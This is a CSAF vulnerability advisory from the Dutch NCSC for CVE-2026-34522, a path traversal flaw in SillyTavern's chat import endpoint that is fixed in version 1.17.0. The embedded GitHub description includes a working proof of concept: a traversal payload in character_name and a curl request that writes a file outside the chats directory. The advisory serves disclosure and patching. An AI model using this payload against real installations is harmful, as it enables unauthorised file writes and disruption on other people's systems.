{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-34522", "tracking": { "current_release_date": "2026-04-03T15:31:39.442730Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-34522", "initial_release_date": "2026-04-01T22:11:08.870120Z", "revision_history": [ { "date": "2026-04-01T22:11:08.870120Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-04-01T22:11:22.844749Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-04-02T17:38:45.493974Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)." }, { "date": "2026-04-02T17:38:53.217401Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-04-02T18:26:34.864076Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-04-02T18:26:36.462658Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-04-02T19:39:21.325393Z", "number": "7", "summary": "Unknown change." }, { "date": "2026-04-03T15:31:28.421538Z", "number": "8", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-04-03T15:31:36.601838Z", "number": "9", "summary": "NCSC Score updated." } ], "status": "interim", "version": "9" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<1.17.0", "product": { "name": "vers:unknown/<1.17.0", "product_id": "CSAFPID-5985091" } } ], "category": "product_name", "name": "SillyTavern" } ], "category": "vendor", "name": "SillyTavern" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-34522", "cwe": { "id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" }, "notes": [ { "category": "description", "text": "### Summary\nA path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`.\n\n### Details\n`character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization.\n\nEvidence:\n- Import handler entrypoint: \n \n- Unsanitized `character_name` used in output filename: \n \n- Same write pattern in JSONL import branch: \n \n- Endpoint auth context (authenticated user access): \n \n\nExample payload:\n- `character_name=../../../../tmp/st_poc`\n\nThis causes the final destination path to escape from `/chats//...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account).\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nPrepare payload:\n\n```bash\nprintf '{\"user_name\":\"u\",\"chat_metadata\":{}}\\n{\"name\":\"u\",\"mes\":\"owned\"}\\n' >/tmp/poc.jsonl\n```\n\nTrigger arbitrary write:\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" \\\n -F \"avatar=@/tmp/poc.jsonl\" \\\n -F \"file_type=jsonl\" \\\n -F \"avatar_url=a.png\" \\\n -F \"character_name=../../../../tmp/st_poc\" \\\n -F \"user_name=u\" \\\n http://TARGET:8000/api/chats/import\n```\n\nObserved result:\n- A file is created outside chats directory, for example: \n `/tmp/st_poc - imported.jsonl`\n\n### Impact\n- Integrity: attacker can create files in unintended filesystem locations.\n- Availability: can be used for disk abuse and disruptive file placement.\n- Can become more severe when chained with other local processing behaviors.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0", "title": "github - https://api.github.com/advisories/GHSA-xvww-xhx6-22pf" }, { "category": "description", "text": "SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name. This issue has been patched in version 1.17.0.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34522.json" }, { "category": "description", "text": "SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name. This issue has been patched in version 1.17.0.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34522" }, { "category": "other", "text": "0.00055", "title": "EPSS" }, { "category": "other", "text": "3.8", "title": "NCSC Score" }, { "category": "other", "text": "There is cwe data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5985091" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-xvww-xhx6-22pf" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34522.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34522" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xvww-xhx6-22pf" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-xvww-xhx6-22pf" }, { "category": "external", "summary": "Reference - cveprojectv5; nvd", "url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-5985091" ] } ], "title": "CVE-2026-34522" } ] }